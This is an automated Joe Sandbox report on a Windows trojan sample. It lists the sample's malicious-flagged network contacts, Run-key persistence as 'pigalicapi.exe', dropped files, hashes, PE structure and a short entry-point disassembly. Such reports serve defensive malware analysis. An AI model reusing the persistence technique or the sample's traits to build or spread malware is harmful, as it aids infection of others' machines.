false	Avira URL Cloud: safe	unknown
http://www.com-sit.com/wp-content/themes/betheme/js/plugins/countdown.min.js?ver=26.6	iJzpyjAehB.exe, 00000000.00000003.486573845.00000000037D0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.351870087.0000000003020000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.373271861.0000000003330000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400506653.00000000032E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.367774012.00000000039B0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.379844258.0000000003320000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.347627951.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.com-sit.com/es/	iJzpyjAehB.exe, 00000000.00000003.400867170.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.252.159.165	icd-host.com	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	true
217.69.139.150	mxs.mail.ru	Russian Federation	47764	MAILRU-ASMailRuRU	true
198.49.23.145	mijash3.com	United States	53831	SQUARESPACEUS	true
107.180.58.31	orbitgas.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
203.137.75.45	okashimo.com	Japan	4694	IDCFIDCFrontierIncJP	true
172.67.152.159	www.tvtools.fi	United States	13335	CLOUDFLARENETUS	false
5.79.79.212	unknown	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
153.126.211.112	mikihan.com	Japan	7684	SAKURA-ASAKURAInternetIncJP	true
217.160.0.131	mackusick.de	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
3.130.204.160	hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	United States	16509	AMAZON-02US	false
49.212.243.77	listel.co.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
5.189.171.125	muhr-soehne.de	Germany	51167	CONTABODE	false
194.143.194.23	reproar.com	Spain	8311	REDESTELRedestel-RedesdigitalesdeTelecomunicacionenI	true
198.49.23.144	unknown	United States	53831	SQUARESPACEUS	true
83.223.113.46	dataform.co.uk	United Kingdom	29017	GYRONGB	false
91.229.22.126	pleszew.policja.gov.pl	Poland	198704	CSD-KGP-PL-ASBiuroLacznosciiInformatykiPL	true
5.39.75.157	bosado.com	France	16276	OVHFR	true
69.195.90.46	rtcasey.com	United States	46606	UNIFIEDLAYER-AS-1US	true
172.67.165.62	www.snugpak.com	United States	13335	CLOUDFLARENETUS	false
217.74.161.133	cnti.krsn.ru	Russian Federation	16300	INTERTAX-AREARU	true
83.167.255.150	dzm.cz	Czech Republic	24971	MASTER-ASCzechRepublicwwwmasterczCZ	true
66.226.70.66	mail.airmail.net	United States	30447	INFB2-ASUS	false
85.128.196.22	strazynski.pl	Poland	15967	NAZWAPL	true
202.254.236.40	www.naoi-a.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
81.2.194.241	www.edimart.hu	Czech Republic	24806	INTERNET-CZKtis238403KtisCZ	false
37.59.243.164	aluminox.es	France	16276	OVHFR	true
154.81.136.239	mjrcpas.com	Seychelles	35916	MULTA-ASN1US	true
217.19.254.22	shanks.co.uk	United Kingdom	60819	SAFENAMES-ASGB	true
35.186.238.101	onzcda.com	United States	15169	GOOGLEUS	false
185.163.45.187	softizer.com	Moldova Republic of	39798	MIVOCLOUDMD	true
93.189.66.202	ssm.ch	Switzerland	12347	VIRTUALTECCH	true
109.71.54.22	akdeniz.nl	Netherlands	202053	UPCLOUDFI	true
219.94.129.97	web-york.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
49.212.232.113	unicus.jp	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
104.21.89.126	unknown	United States	13335	CLOUDFLARENETUS	true
74.208.215.145	indonesiamedia.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
104.21.30.14	cubodown.com	United States	13335	CLOUDFLARENETUS	false
54.36.175.146	unknown	France	16276	OVHFR	true
104.26.10.81	unknown	United States	13335	CLOUDFLARENETUS	false
46.30.60.158	ncn.de	Germany	15817	MITTWALD-ASMittwaldCMServiceGmbHundCoKGDE	false
172.67.183.62	adventist.ro	United States	13335	CLOUDFLARENETUS	false
104.21.23.9	www.jenco.co.uk	United States	13335	CLOUDFLARENETUS	false
77.78.104.3	zupraha.cz	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	false
192.99.226.184	s5w.com	Canada	16276	OVHFR	false
49.212.180.178	kumaden.com	Japan	9371	SAKURA-CSAKURAInternetIncJP	true
195.78.66.50	www.photo4b.com	Poland	41079	SUPERHOST-PL-ASPL	false
137.118.26.67	fnw.us	United States	6250	NEONOVA-NETUS	false
192.124.249.9	fdlymca.org	United States	30148	SUCURI-SECUS	false
188.166.152.188	www.c9dd.com	Netherlands	14061	DIGITALOCEAN-ASNUS	false
185.253.212.22	karmy.com.pl	Poland	48707	GREENER-ASPL	false
15.204.18.132	15.204.18.132.datacname.com	United States	71	HP-INTERNET-ASUS	false
210.140.73.39	at-shun.com	Japan	4694	IDCFIDCFrontierIncJP	false
31.177.80.70	unknown	Russian Federation	48287	RU-CENTERRU	true
70.39.251.249	quadlock.com	United States	54641	INMOTI-1US	false
104.26.7.221	unknown	United States	13335	CLOUDFLARENETUS	false
5.134.13.210	nels.co.uk	United Kingdom	34282	UKNOC-ASGB	true
216.239.38.21	calvinly.com	United States	15169	GOOGLEUS	false
62.75.216.137	www.tyrns.com	Germany	8972	GD-EMEA-DC-SXB1DE	false
195.5.116.23	enguita.net	Spain	39787	TV2-NORWAYNO	false
203.0.113.0	nme.co.jp	Reserved	136518	WA-GOVERNMENT-AS-APWAGovernmentprojectAU	true
208.100.26.245	atb-lit.com	United States	32748	STEADFASTUS	true
142.250.27.27	gmail-smtp-in.l.google.com	United States	15169	GOOGLEUS	false
142.250.27.26	unknown	United States	15169	GOOGLEUS	false
51.159.3.117	ossir.org	France	12876	OnlineSASFR	true
82.201.61.230	www.nelipak.nl	Netherlands	15879	KPN-INTERNEDSERVICESNL	false
79.124.76.247	mkm-gr.com	Bulgaria	31083	TELEPOINTBG	true
172.67.71.13	unknown	United States	13335	CLOUDFLARENETUS	true
172.67.68.180	canasil.com	United States	13335	CLOUDFLARENETUS	false
66.111.4.75	unknown	United States	11403	NYINTERNETUS	true
208.80.123.195	gbp-jp.com	United States	16552	TIGGEEUS	true
46.19.218.80	mcseurope.nl	Netherlands	20559	FUNDAMENTS-ASNL	true
34.102.136.180	hamaker.net	United States	15169	GOOGLEUS	false
172.67.148.35	forbin.net	United States	13335	CLOUDFLARENETUS	true
13.248.216.40	www.findbc.com	United States	16509	AMAZON-02US	false
61.200.81.23	yasuma.com	Japan	2914	NTT-COMMUNICATIONS-2914US	true
104.21.50.140	juso-gr.ch	United States	13335	CLOUDFLARENETUS	true
192.241.158.94	nunomira.com	United States	14061	DIGITALOCEAN-ASNUS	false
172.67.189.68	kavram.com	United States	13335	CLOUDFLARENETUS	true
63.251.106.25	kewlmail.com	United States	29791	VOXEL-DOT-NETUS	true
212.44.102.57	oozkranj.com	Slovenia	43128	DHH-ASSI	true
85.233.160.148	hbfuels.com	United Kingdom	8622	ISIONUKNamescoLimitedGB	false
164.132.175.106	zemarmot.net	France	16276	OVHFR	true
95.174.22.233	snf.it	Italy	12637	SEEWEBWebhostingcolocationandcloudservicesIT	true
104.164.117.233	arowines.com	United States	18779	EGIHOSTINGUS	true
165.227.252.190	crcsi.org	United States	14061	DIGITALOCEAN-ASNUS	false
185.151.30.147	pertex.com	United Kingdom	48254	TWENTYIGB	true
199.34.228.78	ftmobile.com	United States	27647	WEEBLYUS	false
81.171.22.7	www.railbook.net	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
185.230.63.107	sokuwan.net	Israel	58182	WIX_COMIL	true
198.185.159.145	riwn.org	United States	53831	SQUARESPACEUS	true
198.185.159.144	captlfix.com	United States	53831	SQUARESPACEUS	true
211.13.196.162	unknown	Japan	7514	MEXComputerEngineeringConsultingLtdJP	true
141.193.213.20	johnlyon.org	United States	396845	DV-PRIMARY-ASN1US	true
35.172.94.1	themark.org	United States	14618	AMAZON-AESUS	true
195.128.140.29	nettle.pl	Poland	56590	RBO-NETPL	true
104.20.54.214	bible.org	United States	13335	CLOUDFLARENETUS	false
76.223.35.103	nrsi.com	United States	16509	AMAZON-02US	true
92.204.129.113	lpver.com	Germany	398108	GO-DADDY-COM-LLCUS	true
159.89.244.183	tcpoa.com	United States	14061	DIGITALOCEAN-ASNUS	false
69.163.239.62	sjbs.org	United States	26347	DREAMHOST-ASUS	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	823805
Start date and time:	2023-03-10 07:53:11 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	iJzpyjAehB.exe
Original Sample Name:	3e7a4148f1133cb4b8a097fd74590f44.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@33/4@1944/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 49% (good quality ratio 44.8%) Quality average: 74.8% Quality standard deviation: 32%
HCA Information:	Successful, ratio: 100% Number of executed functions: 171 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.21.63.28, 172.67.142.169, 204.79.197.212
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, www.ottospm.com.cdn.cloudflare.net, ctldl.windowsupdate.com, a-0010.a-msedge.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:54:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
07:54:28	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
07:55:18	API Interceptor	2x Sleep call for process: iJzpyjAehB.exe modified
07:55:30	API Interceptor	2x Sleep call for process: pigalicapi.exe modified
07:56:06	API Interceptor	31x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\21c8026919fd094ab07ec3c180a9f210_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\Desktop\iJzpyjAehB.exe
File Type:	data
Category:	dropped
Size (bytes):	49
Entropy (8bit):	1.2701062923235522
Encrypted:	false
SSDEEP:	3:/l1PL3n:fPL3
MD5:	CD8FA61AD2906643348EEF98A988B873
SHA1:	0B10E2F323B5C73F3A6EA348633B62AE522DDF39
SHA-256:	49A11A24821F2504B8C91BA9D8A6BD6F421ED2F0212C1C771BF1CAC9DE32AD75
SHA-512:	1E6F44AB3231232221CF0F4268E96A13C82E3F96249D7963B78805B693B52D3EBDABF873DB240813DF606D8C207BD2859338D67BA94F33ECBA43EA9A4FEFA086
Malicious:	false
Reputation:	unknown
Preview:	........................................user.

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

Download File

Process:	C:\Users\user\Desktop\iJzpyjAehB.exe
File Type:	Matlab v4 mat-file (little endian) , sparse, rows 0, columns 22
Category:	modified
Size (bytes):	1446
Entropy (8bit):	7.411000424839019
Encrypted:	false
SSDEEP:	24:EtPRDylUWMd6Pfv4cnZpJjBeoLMejJzWoovUw66GqfPAknWMDWO0j:EtP5ylUWMlcZnVeodlzSHPAknWM69
MD5:	39686D77FF403EA1AB5C057A9344B665
SHA1:	768649AF4207752FE00533A6E0B3E0A54151767F
SHA-256:	7B4007840330A459D96145F685D72D6F61CB72EAD4075E01B8E6D08C6480C277
SHA-512:	FAD831A9A0667FCD1893489FB293A8FD0CB6174756F220CE0005BD416A4C9E3EB6071E8CB27C940F3C2C4662F487C3342E3AB23D3F3D601D92DB1DFA202B3FA3
Malicious:	false
Reputation:	unknown
Preview:	........................................MyDefaultKeyContainer.RSA1.................O...E.oe.`V...r3.wI_.-.T.<3x.).L..y]P.....\|R.]..W.>.......y!z..>b...RO...].;d.'.wqX...........<r.$`...G6.t6Vb.93B...R......................z..O.......=.u2[C..;....`....,...C.r.y.p.t.o.A.P.I. .P.r.i.v.a.t.e. .K.e.y....f...... ....'...Z8<..r......a.+P.w................... ....\6........ApRC..$..;..>....hzi....P.Ky...Z.(........^..n.7.fM..\|I.R9..f.U.B...."...+q...&E7l...a..B=...H...............'.......C.2...;e>-...c.\|ST...R.._r...S#F.-...+VOk`hf...jOA.....!.../......7..%.......X.z.f....7.C.....e2..'.j.r..... .E...S.Y."...0'..t..1..w.........GJ2...b.....Q7xWp..a.O5...B......Q....2..?1...........D..Q63._N.b..)_R.>9.-3lK;...\...,.R.d.G...,...3.d"2.O..........$@./;;t.....n.D...~.H.K[.>(.E..R...n~..\m.P.p...J.......0\|....F.....r.c'b...?.S.;.:....(.b)u.0.Z........d!3&V.6w.v......`7.O.p..Y.@..:.kU.T{.h>V0....i.DO.Bw.....[....Nk.<.P.p.[. /..N..ekb.R....U.$.I.&..>

C:\Users\user\pigalicapi.exe

Download File

Process:	C:\Users\user\Desktop\iJzpyjAehB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	153884
Entropy (8bit):	6.960691881776276
Encrypted:	false
SSDEEP:	1536:nHcXFmx32TcZ8BCNDoeRHRQEQcUgaZutJ3gZNGxFh+Lx5s+5DFB+Er/qObMg8:H7gcNDnxQEdUStJ3gyxX+LU6iEr/qOK
MD5:	3E7A4148F1133CB4B8A097FD74590F44
SHA1:	FEC43C982B497F4DDBB8C35245C295355676A07A
SHA-256:	6618359D4D19997728359453B0598BE7562C293EF9D6AC51F2635586096A52BD
SHA-512:	D641E92A6BF6A52DC46363A8570DCA2D8F290E18BB60AC0D2D26C328F2437CACA68FC3E5AD89F120ED5E871729EF4E37A8931CFE468A0C2027DBBC6FE8C67B9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 52%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t..d.....................z...............0....@........................................... ..............................`..........tS...........................................................................a...............................text...x...........................`.0`.data...(....0......................@.0..rdata..8....@......................@.0@.bss.........P........................@..idata.......`....... ..............@.0..CRT.........p.......(..............@.0..tls.... ............*..............@.0..rsrc...tS.......T...,..............@.0./4..................................@..B/19.................................@..B/35.................................@..B/51.....67... ...8..................@..B/63.....a....`......................@..B/77.....8....p......................@..B/89.................................@.0B/102....................

C:\Users\user\pigalicapi.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\iJzpyjAehB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.960691881776276
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	iJzpyjAehB.exe
File size:	153884
MD5:	3e7a4148f1133cb4b8a097fd74590f44
SHA1:	fec43c982b497f4ddbb8c35245c295355676a07a
SHA256:	6618359d4d19997728359453b0598be7562c293ef9d6ac51f2635586096a52bd
SHA512:	d641e92a6bf6a52dc46363a8570dca2d8f290e18bb60ac0d2d26c328f2437caca68fc3e5ad89f120ed5e871729ef4e37a8931cfe468a0c2027dbbc6fe8c67b9d
SSDEEP:	1536:nHcXFmx32TcZ8BCNDoeRHRQEQcUgaZutJ3gZNGxFh+Lx5s+5DFB+Er/qObMg8:H7gcNDnxQEdUStJ3gyxX+LU6iEr/qOK
TLSH:	8BE34BD6BFC91D8BE725423EDCEAD352623EF6F50A821F13242949771B325952EC0287
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...t..d.....................z...............0....@........................................... ............................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x401284
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x64088874 [Wed Mar 8 13:07:00 2023 UTC]
TLS Callbacks:	0x401c60, 0x401c2c
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	6e4f30e5ff96a025a586abf0edae33b8

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 18h
mov dword ptr [esp], 00000002h
call dword ptr [00406214h]
call 00007F45F0D76949h
push ebp
mov ebp, esp
sub esp, 08h
mov eax, dword ptr [0040622Ch]
leave
jmp eax
nop
push ebp
mov ebp, esp
sub esp, 08h
mov eax, dword ptr [00406220h]
leave
jmp eax
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov ecx, dword ptr [00403024h]
test ecx, ecx
je 00007F45F0D76C13h
mov dword ptr [esp], 00404000h
call 00007F45F0D77DEDh
push edx
test eax, eax
je 00007F45F0D76C05h
mov dword ptr [esp+04h], 0040400Eh
mov dword ptr [esp], eax
call 00007F45F0D77DE0h
sub esp, 08h
test eax, eax
je 00007F45F0D76BEBh
mov dword ptr [esp], 00403024h
call eax
leave
ret
nop
mov eax, 00000000h
jmp 00007F45F0D76BCBh
nop
push ebp
mov ebp, esp
pop ebp
ret
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 10h
mov dword ptr [ebp-04h], 00000000h
jmp 00007F45F0D76C0Ah
rol dword ptr [ebp-04h], 13h
mov eax, dword ptr [ebp+08h]
mov al, byte ptr [eax]
cmp al, 60h
jle 00007F45F0D76BEFh
mov eax, dword ptr [ebp+08h]
mov al, byte ptr [eax]
movsx eax, al
sub eax, 20h
jmp 00007F45F0D76BEAh
mov eax, dword ptr [ebp+08h]
mov al, byte ptr [eax]
movsx eax, al
add dword ptr [ebp-04h], eax
inc dword ptr [ebp+08h]
mov eax, dword ptr [ebp+08h]
mov al, byte ptr [eax]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6000	0x7e8	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x9000	0x15374	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x8000	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x61a0	0x114	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1578	0x1600	False	0.5308948863636364	data	5.778663669912458	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x28	0x200	False	0.091796875	data	0.48471119622245973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x4000	0x138	0x200	False	0.478515625	data	3.924754983152855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x5000	0x80	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6000	0x7e8	0x800	False	0.46044921875	PGP symmetric key encrypted data - Plaintext or unencrypted data	4.7286030601606175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x7000	0x18	0x200	False	0.04296875	data	0.11446338125913882	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x8000	0x20	0x200	False	0.05078125	data	0.22482003450968063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x9000	0x15374	0x15400	False	0.8301125919117647	data	7.846081304046592	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
/4	0x1f000	0x100	0x200	False	0.208984375	Matlab v4 mat-file (little endian) \272\002, rows 2, columns 262144	1.209000540330545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/19	0x20000	0x3a3	0x400	False	0.5107421875	data	4.413865768202806	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
/35	0x21000	0x4f2	0x600	False	0.4375	data	4.4738992305440455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
